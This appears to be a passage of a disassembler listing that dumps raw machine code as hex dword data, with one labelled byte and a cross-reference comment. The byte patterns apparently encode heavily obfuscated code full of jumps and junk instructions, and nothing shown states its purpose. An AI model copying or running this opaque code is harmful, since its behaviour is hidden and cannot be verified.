3830F9Dh, 66000000h dd 0B960D08Bh, 1D6FE14Eh, 9E9h, 1B29C00h, 0B9B47874h, 0FC61E55Dh dd 0E9D88B66h, 0Bh, 5EBC9CEEh, 0BB5662A2h, 0FFCCA38h, 328Fh dd 13E800h, 641F0000h, 0F4555361h, 0D77AFCBFh, 0B7177C4Bh dd 9838096Dh, 13E887h, 9B2C0000h, 57E11EF2h, 0C80E45EAh dd 5C5D065Fh, 109415D2h, 0F58584Ch, 8166DBB7h, 53253AC6h dd 0AE8h, 7BC3300h, 0B9E1A83Ch, 0E9C31480h, 0Eh, 1A7B6F82h dd 99003DD1h, 0DEC3B78Dh, 5858850Dh, 7BCD8056h, 81D88B5Bh dd 94AEDAF1h, 0EE81663Dh, 880F3F22h, 13h, 0EE9h, 0D984F200h dd 0E723F0D2h, 0DDEC6EB4h, 66FBA50Bh, 0B57BC181h, 0AE8h dd 458F7800h, 92C40451h, 6612F3E6h, 5B754CB8h, 10E8h, 0DBBA3300h dd 5079B958h, 0DA49202h, 11C08B63h, 7E950h, 0EF990000h dd 4B9916B9h, 10E9586Eh, 74000000h, 0B43798Ah, 0E66E0E13h dd 720D4DC7h, 0BFDA2821h, 1A6A0159h, 30D98160h, 610D6A17h dd 8820Fh, 0F510000h, 81h, 81665F00h, 66CDEADEh, 0BE20D281h dd 10E951h, 0DB880000h, 0F35C0CF6h, 312BBDA0h, 0B646113Eh dd 6659655Ah, 0DA51EE81h, 14E9h, 2D914500h, 6C799DAh, 0E64D16F5h dd 0BACC11A4h, 0AAF24F9Eh, 80DB80BBh, 6820Fh, 0C6810000h dd 65A00507h, 60F8E2B7h, 38E0Fh, 0B70F0000h, 68E0FD9h dd 0F000000h, 85h, 8B606100h, 0F561F8FBh, 0BE860h, 83090000h dd 0F699CB73h, 6C7ECAA2h, 1AF78143h, 592FD7ECh, 14E9h dd 8A8500h, 0BEFAC4ACh, 52B4FB7Bh, 405C8B6Fh, 805ECB6h dd 0BE666152h, 0C4808E1Fh, 0EA80FC81h, 0F5E5712h, 387h dd 0F7BF0F00h, 0FE9h, 5A7BAF00h, 4A1F8468h, 0B79EF21Bh dd 5858C49Ah, 0FE9h, 885E6200h, 12084594h, 9E9F21B3h, 8D9B3D5Ah dd 0B6C7B70Fh, 0F78B663Ch, 51D7BF0Fh, 8ED18151h, 5903B93Dh dd 0F9B70F5Fh, 0CE9FCh, 0A91B0000h, 5AAA0B8Ch, 0A7A8D2A1h dd 9E9149Ah, 43000000h, 0F94E3F54h, 369C378h, 0C280D38Ah dd 3BC48038h, 12E9h, 0C5615E00h, 7144C325h, 80A7FEC9h dd 0F014CF32h, 66DEFB95h, 0F3F6F281h, 66F9C080h, 66EFADBBh dd 4ED0D181h, 0E8605E56h, 0Dh, 356E2F1Eh, 0EB061534h, 0B4B8035Fh dd 11E979h, 0EF930000h, 0ED1DA093h, 0C7D2298h, 3219B1EDh dd 5FF385CEh, 0BADDB160h, 5F5F9D1Bh, 0BE666161h, 66F9912Ah dd 5E8CE8Bh, 15000000h, 4865194Ah, 4C88BA66h, 16E7815Fh dd 661AF3C9h, 8B66F18Bh, 70D980C7h, 2836D981h, 0D6806E85h dd 0E89AB55Ah, 6, 0F15927D4h, 5FFCA3B6h, 0DD681FCh, 666C1C10h dd 19BBC28Bh, 0E943FB61h, 0Bh, 7CFC6952h, 0C0E93CD6h, 8064844Fh dd 0F180ADE7h, 5E805h, 9420000h, 806A8AE7h, 0E9590AD9h dd 13h, 9B0E9CCh, 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh, 66D183C7h dd 66761ABAh, 0AEB2DE81h, 7AF18166h, 15DF8108h, 0BB06F382h dd 5F909BC3h, 58F0Fh, 0D9BB0000h, 0F169FB3h, 68Bh, 0FAE88100h dd 8B385964h, 7FC480D8h, 60C78060h, 61C0BF0Fh, 0D0D2D981h dd 9FB925BDh, 0E86FB3E0h, 13h, 0AC94416Bh, 0EC1ABC78h dd 0F2FA90E9h, 0A6E544A7h, 665CF0E5h, 0D734DF81h, 188C0F5Eh dd 0F000000h, 128Eh, 0DE900h, 29E60000h, 0FA1ABA90h, 0FF1CE034h dd 0FB1F70Ch, 8Bh, 0AE800h, 0AECC0000h, 0B16D2F33h, 4976EC99h dd 5EE5C680h, 3ED68157h, 5A7CE144h, 811EC380h, 2791E9C0h dd 0BE95Ah, 364D0000h, 25C1EB80h, 2B235447h, 11E9AFh, 5DC80000h dd 97CEF4BEh, 0AE9575D6h, 4D20C59Ah, 0E80043C0h, 6, 89DAFD86h dd 820F98B9h, 5, 0F2D18166h, 0BF605E32h, 647DE109h, 86F78166h dd 0EE96150h, 88000000h, 273B62F9h, 0C613A3C6h, 0CB5C8487h dd 0FB8B6610h, 0A23CC381h, 0EE90557h, 48000000h, 0E7D8F0A1h dd 0F2432A13h, 7B860776h, 0E18166E3h, 0C88BB761h, 81C8B70Fh dd 0AC79CFE7h, 6E857h, 5B830000h, 0DAEDEF2h, 58DA8B66h dd 358BF781h, 8B66697Dh, 0A8A6BAFBh, 850F6BACh, 15h, 10E9h dd 0DF1DCA00h, 3507BB53h, 475AC8A3h, 2026003h, 0D3B9665Ch dd 88EA805Ah, 0DA8BCA8Ah, 0E837F181h, 0FF94DE9h, 180h dd 880FF800h, 0Dh, 8E9h, 0DB4E7100h, 4CEBDD8Ch, 28B8662Ah dd 0ECB8522Fh, 5B406997h, 0E8FEB70Fh, 0Dh, 43C463B8h, 67F9F7E4h dd 6E19C58Dh, 830F50FFh, 0 dd 0B70F5B58h, 0E7BF66F1h, 0CE9FCCDh, 73000000h, 3B27168Fh dd 3C35668Ah, 0E9162FF6h, 9, 273C141Bh, 0B600B4F1h, 2AC181ACh dd 0F955A9CBh, 75564FB9h, 0AD7801Fh, 8AF1B70Fh, 0B3BF66EBh dd 8E0FF9CDh, 4, 0D5C4BE66h, 0A1D28166h, 6674B095h, 66EF7CBEh dd 0E93FEFBFh, 14h, 0E1E94FDBh, 0F43F9A28h, 4E20F059h dd 0CF239854h, 6FE9D5DFh, 57EB81F8h, 6079EB74h, 0FE9h dd 13EF1300h, 0BB694B92h, 700EBDD5h, 26100E9Dh, 188D0Fh dd 13E90000h, 12000000h, 7DFB6239h, 0F06712Bh, 7C0C16D2h dd 561D4B46h, 6661274Ch, 4E6FC381h, 8AB81CB3h, 0BE4E82E9h dd 56EB81A8h, 7C46BA60h, 8D0F1CE9h, 2, 66615F51h, 0F9F8F18Bh dd 7866BB66h, 0CD8CBE66h, 8AC6B70Fh, 4820FC5h, 66000000h dd 667F4AB9h, 0B2785DB8h, 39B7FC88h, 0B57ABE66h, 33ACDA81h dd 81660271h, 80E8E1E3h, 0DB8190D3h, 44D61B05h, 38D0Fh dd 0BF0F0000h, 66D08BCEh, 604439B8h, 10E8h, 0FFBC400h dd 0A11C2271h, 9818057Ch, 71C22267h, 5E5F511Fh, 2830Fh dd 61600000h, 0E9606061h, 13h, 0A2FC473Dh, 0D71EB048h dd 0CD83E3CFh, 87022FA2h, 0B9B1D280h, 0E7C7271h, 58E0F61h dd 66000000h, 8B09DF81h, 0E9C78B61h, 6, 1C1A4C3Bh, 9E94EF9h dd 10000000h, 75F39FECh, 4038A100h, 5D880FCh, 38E18166h dd 0EE9D2h, 0C60D0000h, 0FB522869h, 0D9A5918Dh, 0CA01B051h dd 0BF33EA80h, 7E2ACC92h, 0B880F60h, 0E9000000h, 6, 2E607F77h dd 830F2C48h, 19h, 14E9h, 87590500h, 59310C61h, 0D0B4410Bh dd 0F2E1D366h, 3B2EE53Ch, 0F58061E3h, 11E9FDh, 0B1ED0000h dd 85CE3219h, 0FD8CFBF3h, 918B5298h, 816B7DBBh, 3B447ED0h dd 5104B549h, 32F4C981h, 0BF5F2E65h, 1CE18EF2h, 11850Fh dd 0CE90000h, 0ED000000h, 0CAD85D2Ah, 2973C91Ch, 661495BBh dd 0C981C78Bh, 7DEDBBF2h, 77C18166h, 535160F1h, 890F5958h dd 5, 69C38166h, 8B66611Dh, 0D8B70FCFh, 0F0EADF81h, 0FAB43FBEh dd 0CE9h, 472BBB00h, 677CBB0Ah, 5751F656h, 0B01DBE5Ah dd 8B605B6Bh, 0EB7BEF3h, 8B61705Eh, 13E8FAh, 10E30000h dd 14F28965h, 80DECCF5h, 0A1515883h, 5841E9Fh, 0CB816650h dd 0F59E370h, 38Eh, 1CF08000h, 0D38B6660h, 0A6DA8166h dd 665361A3h, 3866D681h, 13E95Eh, 6B8A0000h, 0B5876DFDh dd 7EC0B275h, 509AAB8Ah, 9BC1493Dh, 3FDC8031h, 11E996B5h dd 0CD000000h, 25C6D135h, 59637B06h, 0A7280485h, 0D0B651Ah dd 14E9DA8Bh, 0ED000000h, 0F36A82C2h, 491C4A56h, 90EC53A2h dd 0E527B007h, 0F34F1A7h, 0C8Fh, 81666000h, 0B93200E7h dd 2C4983A2h, 0EEEE8061h, 66FAB70Fh, 8160F88Bh, 0B8D7B5F2h dd 5E941h, 6B120000h, 61671BA5h, 0DE9C68Bh, 0E000000h dd 666E8EF5h, 0DED94891h, 9E585ACBh, 6F8F6DBBh, 8BCF8B46h dd 850F60F2h, 6, 800Fh, 80610000h, 0B76070CAh, 0BF0F6135h dd 0AED180D0h, 0FFFBF0Fh, 284h, 0E878B700h, 10h, 63D6ED1Bh dd 1F3AB5CAh, 921951E0h, 0D90E8429h, 0E85BD88Bh, 0Ch, 0D1365C61h dd 14A78241h, 0E7C3CE68h, 525AD2B0h, 0C88B5EFCh, 0FB8BD88Ah dd 0FE9F9h, 0B6CB0000h, 9BD1D015h, 3F5F7721h, 343FDAA3h dd 28A0F97h, 8A000000h, 0BFBA66D1h, 0D6BF0F05h, 14E9h dd 6D558200h, 0E40734AFh, 0B6FFC6BBh, 7AD03891h, 2AA18243h dd 0D7816639h, 810F233Ah, 6, 870Fh, 0E9FC0000h, 0Ah, 9B6A7AF1h dd 0A1835700h, 0B8660219h, 8B60A86Dh, 9E8C2h, 15C80000h dd 57B3C8F2h, 0E9F5D2FCh, 0Ah, 16544C3Dh, 318BB24Eh, 6159349Eh dd 262E7ABAh, 0BF0F510Dh, 816659C6h, 606FECC9h, 38E0Fh dd 0BF0F0000h, 816661D9h, 0FAD6AD2h, 0EA81CFBFh, 0B6B689h dd 0E08036BFh, 0E83FB243h, 0Fh, 0D1E6E05Eh, 0A998AAD1h dd 52F60973h, 0BB774429h, 31F4D82Eh, 13E95Fh, 49170000h dd 634505Bh, 0D8320B94h, 7A00C839h, 45114F13h, 9E9A3h dd 0E6010000h, 91559EE0h, 8B915EDDh, 8B0F51F8h, 19h, 13E8h dd 88514100h, 9B8F2EB1h, 5800F6F7h, 0FDBDAAE4h, 0A89C9A9Fh dd 0E9505B5Ah, 14h, 5F70E0B8h, 92707DFEh, 92347CFAh, 0DF91E776h dd 0D4693A27h, 860F605Bh, 1, 0E08061F5h, 0BE8F815h, 0A1000000h dd 7C00BAF6h, 68206FAh, 0E953955Ah, 12h, 0E46FE55Fh, 2BCC5063h dd 2468FAE6h, 0DB41C830h, 5B59E699h, 1A07B966h, 0F38BCA8Bh dd 2890Fh, 0C68B0000h, 8A0FC68Ah, 4, 6622BF66h, 11E8h dd 31EE1500h, 964EF26Bh, 9A03FE6h, 57994A95h, 850F8052h dd 2, 0E8585A51h, 5, 444681Ah, 0DE989h, 0D81B0000h, 5D1F0DA8h dd 0DCCB883Bh, 5B1D41B2h, 12E9h, 3E87600h, 5410ECD3h, 631970CAh dd 0E9E17837h, 81A526B3h, 60DC22C0h, 1D8F0F5Ah, 0F000000h dd 178Ah, 12E900h, 5E2D0000h, 2E2EAEA1h, 0C085DDAEh, 95EA474Bh dd 0A6F5162Dh, 0E8F18B66h, 9, 98551F55h, 0ADD2643Ah, 60F8600Fh dd 505A6161h, 5EF98B66h, 8E8D88Bh, 42000000h, 0FC79DD7Ah dd 603DEBECh, 61C28B66h, 11E95Ah, 0E34B0000h, 0FA67209Fh dd 0ACE45AFFh, 8B00BF28h, 0E80DEA6Fh, 0Fh, 3D7AA206h, 8459307Bh dd 0EFD5DDBEh, 0FD8A3C5h, 583h, 0EA85B900h, 60597B8Dh dd 59C3BB66h, 14E961h, 0EE420000h, 1171DC20h, 8C641CF7h dd 6B08D4F4h, 0A41BC4FBh, 0EE99D74h, 0D0000000h, 0F18DDB95h dd 6B867782h, 26214889h, 3ABF66CBh, 0DBB70F0Ch, 9E9C18Bh dd 5B000000h, 3EB516EDh, 0D68D7E4Dh, 66F7BF0Fh, 0F52FBAB9h dd 81E9BA66h, 8E9h, 0B2276700h, 0B7E72C2Ah, 12E8BDh, 64D70000h dd 70C4F2D9h, 90AF4933h, 4B567200h, 0EDE4E18Dh, 5870Fh dd 81660000h, 599666F7h, 0F63CF80h, 8Bh, 0F2816600h, 0EB8A6F89h dd 0BECB8B66h, 699D2B7Eh, 6651D68Bh, 0D374D981h, 0E95E515Fh dd 7, 3044D4D0h, 6059C328h, 0EF816651h, 605A2F56h, 10E8h dd 79B95800h, 0A4920250h, 0C08B630Dh, 422A5011h, 7E85F5Bh dd 57000000h, 0EC5CD7E5h, 6158334Bh, 11820F61h, 0E9000000h dd 0Ch, 72DB44DDh, 0C2B983AFh, 0EFA82AD6h, 13E9h, 4DD24400h dd 4E2CE3EAh, 98460BE8h, 0B89FAB55h, 5B739390h, 5A22BEBAh dd 95D88025h, 0BE9h, 0EED62E00h, 3AAF936Ch, 0AC54B2A1h dd 0EDB1D381h, 9E93D47h, 0BD000000h, 2BBEAAC7h, 44C267F8h dd 80CBB70Fh, 8166B8E3h, 0E8F1CCCBh, 5, 18E28784h, 38C0F3Fh dd 80000000h, 665B66CAh, 867ECB81h, 12E9h, 29351500h, 86C3DC5h dd 110C4133h, 293684h, 0FF534D5h, 32B8C8BFh, 0F33A8B7h dd 18Ah, 0CE9F800h, 51000000h, 5B211796h, 0A52882C8h, 0BBD8C67Ah dd 35F40C52h, 0F8CEB70Fh, 7E9h, 0DE7EAC00h, 6BB26E82h dd 51E647B8h, 0C080607Fh, 31E681BDh, 615D61BEh, 3850Fh dd 0C0800000h, 14E9F3h, 51BF0000h, 0E6E17FFEh, 5DA4A2C0h dd 2F299FA2h, 0BB6B4803h, 0D78B3DBFh, 8B66DA8Bh, 0BB6660DFh dd 0F60BD95h, 86h, 890F00h, 61000000h, 0AE8FC61h, 0C3000000h dd 0DF9CBF54h, 0EB4DAD58h, 0FB8B661Ch, 91B9665Ah, 0F69B686h dd 880h, 0CE815600h, 511439A6h, 0DFBF0F5Eh, 5E9h, 4A2A6800h dd 0CBB615B8h, 8166F5F5h, 0B2EA73DBh, 5E8520Dh, 2000000h dd 56A97512h, 800Fh, 5A580000h, 0BE9h, 41726D00h, 81500EDDh dd 0E61F90B4h, 8E9h, 189EED00h, 0F259960Bh, 8E0F44h, 0F000000h dd 0C81h, 6850F00h, 0F000000h, 83h, 95B86600h, 38B0F6Ch dd 80000000h, 0B70F9ECDh, 0FE9F8h, 81C90000h, 278837F3h dd 1C11540Dh, 0BFBED63Eh, 13E946h, 0C4B10000h, 0BB2CE69h dd 9722FA60h, 5E928C5Ah, 0CC7649B8h, 0ACBA6691h, 8810F5Ch dd 0F000000h, 281h, 60D08B00h, 66D8DB80h, 61A71CB9h, 7E206CBAh dd 0D8B70F1Dh, 8BDFB70Fh, 7B0F8D8h, 66CA8B66h, 0E89175BFh dd 11h, 61541D51h, 89073F63h, 0D79E92CCh, 6DDB354Fh, 39DF81A5h dd 5A58687Ch, 0AFC88166h, 0F71B549h, 489h, 0E0B86600h dd 0E8FE8B0Bh, 8, 0FAF7CF2Bh, 7A2BD0EFh, 11E9h, 6A2CFF00h dd 7712847Dh, 49D92D96h, 32F19DC5h, 805F0B56h, 0F18B1FCCh dd 0DDD48052h, 0BE95Bh, 0AD840000h, 8DF397C1h, 7B63FDF9h dd 5850FEEh, 0B8000000h, 43AE92E5h, 0E875B4F8h, 10h, 462BEC3Ch dd 1AA9E1B8h, 0CB4DD57h, 0FE015C1Ah, 0BE85FF9h, 73000000h dd 0DC81A85Ch, 32901180h, 7E92ABFh, 0D8000000h, 0C9469A69h dd 0E85E6FF5h, 7, 64631886h, 0F5DC4C25h, 1850F5Bh, 0F9000000h dd 0FC68B66h, 0E181F8BFh, 2B33A053h, 0BBCABF0Fh, 0EC8EFB9h dd 0BDF8E381h, 0EE8A48EBh, 0C86CC981h, 9B0306Ah, 0BEF98B66h dd 75D638C9h, 0FCA8B66h, 381h, 94C28000h, 665134B7h, 0E958D88Bh dd 0Ch, 115658E2h, 0CD32DEAEh, 0B5F1D6FBh, 0C181A1B2h dd 86643D2h, 0F78B66F8h, 258E0Fh, 0DE80000h, 0A000000h dd 54304086h, 4E82FE2Ah, 79A5F166h, 0DE9h, 4B13F600h, 931CD428h dd 5958FB5Fh, 0F58E61Ch, 89h, 7E900h, 76C0000h, 0A8844ECh dd 0C78160E6h, 38FEDDD8h, 2AF08166h, 8D0F6145h, 19h, 0AC08060h dd 0EE8h, 0CBFB1000h, 2FD59D81h, 247733Fh, 5ECB53AFh, 0CDBB6661h dd 8C0FFC63h, 9, 3810Fh, 0BF0F0000h, 19860FFBh, 0E8000000h dd 11h, 3E359826h, 1014AFCDh, 610F6BCCh, 404E5404h, 595E57A8h dd 61DA8B60h, 3890Fh, 8B660000h, 81F860F8h, 0B2FD7BD1h dd 0BE666133h, 9E959E2h, 40000000h, 2558671Eh, 43ED76B8h dd 6ECE8166h, 0EE887h, 1FCB0000h, 1C39444Bh, 2E6D9AC6h dd 590E0473h, 5ECB8B66h, 96CF8166h, 0ACBA6608h, 0D2815042h dd 334CE5D5h, 13E85259h, 0FC000000h, 0C50234Bh, 18A97FF6h dd 0DDF9AD2Ch, 7801CEF6h, 5E500ABBh, 12E95B5Ah, 17000000h dd 1679177Eh, 0C5957259h, 1E43B6D1h, 60245840h, 0DA8B661Dh dd 586CBF66h, 6E9h, 0D5941800h, 0BB4011D0h, 688EADEDh dd 0FDF8B66h, 11E8CBB7h, 76000000h, 0A4327FB9h, 51BA61ADh dd 3F50EC13h, 0B3F22E6Ah, 19870Fh, 13E80000h, 0D5000000h dd 4B87382h, 0CB6827BDh, 48FAC6FCh, 0D0B01AF8h, 5F5ED4A2h dd 683FB956h, 0E95F3C2Bh, 11h, 0F5F52F6Bh, 0F04414C3h dd 71325AE5h, 8B8321EFh, 0F38B66A0h, 0CE8F5F9h, 50000000h dd 0E5396F70h, 0FC842759h, 0E8C6C249h, 0Dh, 70894317h dd 0BF66644Eh, 813A0F7Eh, 0AECA817Eh, 5920240Bh, 6057F859h dd 14E8h, 0B27E3800h, 9BE7D0DBh, 4E3B2BEFh, 5EBEE73Dh dd 2443840Ch, 5F5758ADh, 0E2815E61h, 16BBD6C7h, 66DF8B66h dd 0FB4F7B8h, 1987h, 14E900h, 24700000h, 83D46D38h, 7429224Ch dd 0B8FE20C0h, 5989BA69h, 6660C033h, 0FF2F6BBh, 0F61F7BFh dd 387h, 1FF58000h, 0B37FF380h, 18D0FE3h, 0F5000000h, 80C6B70Fh dd 860FDDE7h, 2, 8B66D88Bh, 8840FFBh, 0F000000h, 28Eh dd 0BBF78A00h, 611F9A14h, 9E9h, 61D00500h, 260D3987h, 0D980F7AFh dd 0C18B5790h, 5890F59h, 0BE000000h, 2F5C62A5h, 0DE9h dd 0DE40F400h, 86993B2Ch, 0A0603195h, 10E93960h, 0FE000000h dd 0A8743141h, 9E427F89h, 0FFAF3E07h, 56D25539h, 0D4DA8166h dd 8B66587Ch, 0F8E0FFEh, 0E9000000h, 0Ah, 80F5A03Bh, 0A498BF70h dd 0B70F0793h, 48F0FD0h, 66000000h, 6097EABEh, 8E9h, 7EA56400h dd 51489995h, 0FA8B6631h, 6E961h, 0C3B0000h, 0B2BC50F3h dd 0DE9h, 45316000h, 0F569E03h, 193EE9A2h, 2ABA76F1h, 0B742AB06h dd 4890F05h, 66000000h, 66CFC5BAh, 0FF5B8BEh, 289h, 0FF88B00h dd 882h, 28E0F00h, 8A000000h, 0B1B966FAh, 0D981663Ch, 840F4509h dd 1Ah, 148A0Fh, 0FE90000h, 88000000h, 0D108EAD0h, 1E6884A3h dd 4DE5F59Fh, 0BB667433h, 8E0F616Fh, 3, 52D9BF0Fh, 9DC1815Fh dd 0E9796B63h, 8, 1F68BBA6h, 0B3BE820Eh, 1F82DB81h, 0BB661E18h dd 0E952392Bh, 0Bh, 543FBA4Fh, 33CB7D5Bh, 5BBFED3Ah, 0FF813B4h dd 683h, 800F00h, 0F000000h, 283h, 0FD58A00h, 98Ah, 3880F00h dd 0F000000h, 0B70FCEB7h, 0E8CA8AF2h, 0Dh, 0EECB6229h dd 5806F0CFh, 2B6AEAFAh, 81665BF4h, 609EFADFh, 0D9C28166h dd 0BE818h, 0F9660000h, 384B03A0h, 6E26CAFAh, 0FB8B668Eh dd 0E952615Fh, 12h, 4D3EB516h, 0C3D68D7Eh, 0CB777D2Fh dd 7DB32EADh, 805A66D3h, 0E2813BF0h, 2A51BD7Bh, 7E9h, 51707200h dd 300FD409h, 0CB8BC38Bh, 978DBA60h, 0CA804E17h, 8B666103h dd 0FC28BC1h, 1381h, 0BE85300h, 97000000h, 0D61584AEh dd 3943875Bh, 5B5F9051h, 0AE960h, 0BBB70000h, 0B57315ABh dd 0B6417D69h, 0F78B460h, 85h, 0F616100h, 48Ah, 98BF6600h dd 0B999BFE0h, 800F60B5h, 18h, 10E8h, 74186100h, 0F89A0361h dd 0D1BF7F5Ch, 80B0EA28h, 5EF38AA5h, 0BEDE8B66h, 896995Ah dd 0AE9h, 9E0E0300h, 0C4D39B7Bh, 661613B3h, 66E84ABFh dd 5B86EF81h, 0E8F8CD80h, 13h, 0C773BF51h, 0B0775C70h dd 2D798CB7h, 41340172h, 0E930148Fh, 10h, 1620A875h, 1177682h dd 2FF2F2E7h, 0E8788852h, 0FC28B5Fh, 0E980D8BFh, 0FBBF0FFCh dd 800FBDB1h, 5, 79F87BBEh, 7E908h, 0F99F0000h, 894B727Fh dd 0AD2EB968h, 8C0F4759h, 3, 0E9CE8B66h, 9, 471BC5D7h dd 6DD9893Ah, 0C3BF0FABh, 0D381C28Bh, 466293A2h, 8B50E7B1h dd 8B6659F9h, 12E9D3h, 4C6F0000h, 0D552CAEEh, 71CAB74Eh dd 95D56397h, 408D980Eh, 0B8DF8166h, 850F67h, 80000000h dd 80607ED9h, 0BF0F98E5h, 0B86661D9h, 12E9328Dh, 67000000h dd 0A20060D1h, 105EFA64h, 0A39068D6h, 0EA5501F5h, 7E960DBh dd 6F000000h, 847FBB2Bh, 54BB2194h, 616D6C5Ah, 6E1AACBFh dd 7F38100h, 6677D610h, 8B66F38Bh, 4A05B8F1h, 0F600028h dd 890FC9BFh, 1, 840F61F9h, 6, 27B9DB81h, 0E85124DDh, 0Dh dd 5746E0FEh, 6117D679h, 2F972DBCh, 880F61h, 5B000000h dd 0CF8B5059h, 0A7F68158h, 0E939D86Bh, 0Dh, 0A2335317h dd 9AD74365h, 1913ECE4h, 0EB81667Ch dd 81662751h, 0E8BAEAC9h, 13h, 1E35782Bh, 0B0A9C742h, 0D327FE49h dd 7E01DC50h, 8BD1C4D9h, 820F59C8h, 5, 33B808BAh, 58C0F05h dd 66000000h, 0AA80F181h, 5481B9F5h, 0B70F63EEh, 0C88B66C3h dd 0AE9h, 5B295300h, 1EDF32F0h, 60A7E244h, 1890Fh, 0B1F90000h dd 0BF0F61DDh, 0FF98BC6h, 483h, 0BFB86600h, 0BE930h, 0A24E0000h dd 80D3D7B2h, 487ADFAEh, 0C9BF0F78h, 0FE9F9h, 57360000h dd 593499E9h, 0AC1D99B0h, 6FB4F653h, 56C78B3Dh, 5ED3B70Fh dd 4890Fh, 0B9660000h, 0D7BB3FECh, 8B0F64CBh, 805152F7h dd 585F20CEh, 38E0Fh, 0B70F0000h, 0D68B66D2h, 0EE9h, 0C56DD00h dd 0D26CFF3Ch, 0ED9E28C5h, 0BED3E5DBh, 2A0B4EBh, 0DE9h dd 0F853CE00h, 0E896C8FFh, 6BD9DF23h, 0B660E11Ah, 6146B335h dd 8166F560h, 61AB96C2h, 7EE08166h, 60FA8BB7h, 0FE9h, 224B3D00h dd 0C139D3BEh, 679E226Bh, 3A0CD4D8h, 0BE6661F9h, 0CE95BDEh dd 2D000000h, 9A623E90h, 0F8638C01h, 6682716Fh, 8166D08Bh dd 0B246BDEBh, 80E78A43h, 8E0FB8D2h, 4, 9DEEB966h, 0FDFBF0Fh dd 10E8DBBFh, 4C000000h, 9856C18Ah, 0AF595D85h, 0B84CC1E0h dd 0E8D204B7h, 7, 79D4B3D7h, 0F82AF1A5h, 8B66585Ah, 0C38166D7h dd 80536A55h, 605A07C8h, 930AAABAh, 61D38B1Ch, 81D18B66h dd 0D74C87E0h, 13E934h, 0CBA30000h, 788FF5E9h, 3850AF89h dd 8A1C1D09h, 0AE6F4F31h, 8166508Ch, 59461ECBh, 0E984B4F8h dd 10h, 0B598A60Eh, 4FA1E100h, 52D855DFh, 9B31FECBh, 0FC3BF0Fh dd 1B84h, 13E86000h, 5D000000h, 25CA73D4h, 0C5C26E12h dd 285CF358h, 74245C4Fh, 6159591Dh, 800Fh, 850F0000h, 1 dd 6FB966F8h, 9E97Ch, 0A2B10000h, 485A5BEBh, 0FBACFD8h dd 285h, 0B3FA8B00h, 3B6DBFFCh, 0D78B3C21h, 11E9h, 0E3748200h dd 9A1449D6h, 60347A83h, 6458804Dh, 60F976F8h, 0D2D18166h dd 0F78B6685h, 8B665761h, 0AE95FD1h, 0A5000000h, 4B028BB5h dd 7EED53F9h, 38F0F2Dh, 60000000h, 5E961F5h, 12000000h dd 4C089F7Bh, 0CBE7BB66h, 0B0F78B66h, 17BA66E0h, 0BA665715h dd 8A59E0C8h, 0A850FF9h, 0E9000000h, 5, 0A9C107C7h, 0FC9B0BAh dd 0E88h, 9E900h, 0F9A80000h, 2AD04842h, 6665A9C2h, 0CF7FC781h dd 0FE9h, 0E4AF1D00h, 13FDE9A3h, 3D33A4B8h, 170BD73Ah dd 13E960h, 6F510000h, 808ABD0h, 0C8E4465Fh, 0A6396C5h dd 0A7A45CCFh, 0D98166D6h, 8B61AFCEh, 0CDE981D6h, 0F041010h dd 280h, 0FC28B00h, 584h, 0E3D5BB00h, 880F7D20h, 5, 5A56FC60h dd 11E861h, 5EE50000h, 2EC5D069h, 0C1647F5Bh, 0C6E3A4E8h dd 0B207F957h, 0BF0F58F2h, 7E9F8h, 6A100000h, 3AB19CF9h dd 11E953h, 0EE010000h, 91FD8765h, 8F1B8D35h, 6EB0F8CEh dd 0BB4B1230h, 31C94210h, 0B966CA8Bh, 11E94B8Eh, 0EA000000h dd 0D061A3DCh, 4F34D70Dh, 0EF801AA8h, 36E26D06h, 0BB24D7B8h dd 8B66502Dh, 0E9605EF0h, 0Fh, 0FA9BB402h, 5E1AE6CBh, 3A252230h dd 57CAA36Fh, 880Fh, 615F0000h, 0C1BF0F51h, 59F8505Ah dd 2FDD37BFh, 8BE0815Fh, 0E908C89Bh, 0Bh, 0AD020DDDh, 1B6857FFh dd 660DA8D8h, 8B66D18Bh, 58B0FF3h, 66000000h, 3D7CCA81h dd 58C0Fh, 81660000h, 6036C5E8h, 0D1B0CB8Bh, 0C18B6661h dd 81F9CF8Bh, 81DBEACEh, 0DE94Bh, 98070000h, 44239F5Ch dd 0F8367551h, 0BB8B19C8h, 470967A7h, 0BFCED181h, 0F603ABAh dd 0F8Ah, 0AE900h, 0CC5B0000h, 0B2641AC4h, 47791659h, 7E9h dd 0E8DC6900h, 416102F9h, 8B0FF861h, 0Fh, 6E8h, 0AEEE0800h dd 66802C9Dh, 605EFE8Bh, 10E9h, 6650DD00h, 2D8FD053h, 8E07AEB8h dd 0D52F4BE8h, 0F2BF6639h, 6E9617Ch, 27000000h, 3C5482FCh dd 10E9E7h, 6E310000h, 0A4D530A7h, 0E87E2E3Eh, 9B81A15Bh dd 820FC0F1h, 3, 0FFAB70Fh, 580h, 0D8816600h, 0D381A981h dd 6185B39Ah, 0FE9h, 32943F00h, 5F15FF7Bh, 0B1717C0Dh dd 0AD3967F5h, 526054B0h, 0E0C28166h, 870F5987h, 0 dd 8E861h, 52D20000h, 0FB4ED10Dh, 59F9C699h, 0FCA8B66h dd 8Bh, 0BFC88B00h, 357A973Dh, 3A47B866h, 0BB66ADB6h, 0FB8BFD13h dd 4ADA8151h, 5B14F8C0h, 8F0F5F52h, 12h, 0DE9h, 0FE686400h dd 77B20230h, 7F8ACA36h, 8F0F339Dh, 12h, 9E8h, 0E6029C00h dd 0AD7FDA63h, 8B66D31Ah, 60565BD6h, 0FE9h, 0EA97F200h dd 5B85A605h, 6F746E6Ch, 28E2377Dh, 6103CF80h, 8DF3805Eh dd 3DD349BBh, 0BE666036h, 0BB66EF34h, 0BA61958Dh, 577B15B1h dd 14E952h, 89830000h, 8B6269B0h, 0FADC1301h, 35B0E566h dd 0CA5FDCE6h db 69h, 84h, 59h byte_5D4D5B db 81h ; DATA XREF: ___:off_43162Co dd 0FE3B77CAh, 0DB7AB96Eh, 11E94060h, 0CF000000h, 0F5BC494Eh dd 0EC00CA84h, 9E521DAFh, 0BE5A9917h, 7E8F9h, 4BA0000h dd 146BE337h, 5FD88BCCh, 0BF0FDCB7h, 4BB866FAh, 0BB39B7DCh dd 78CC7092h, 0E130D081h, 0E9F56DD1h, 14h, 2E7F4525h, 2C4153ADh dd 0CCCF7AC4h, 0E252F918h, 5937CAF5h, 0CE9h, 877BDA00h dd 0C9766C23h, 0A4192B45h, 0DE982h, 0CD270000h, 8AFFAA1Eh dd 6BEC7C92h, 66F23BEFh, 0B7CF7AB8h, 4800F9Ch, 66000000h dd 571118BEh, 0AE2AF681h, 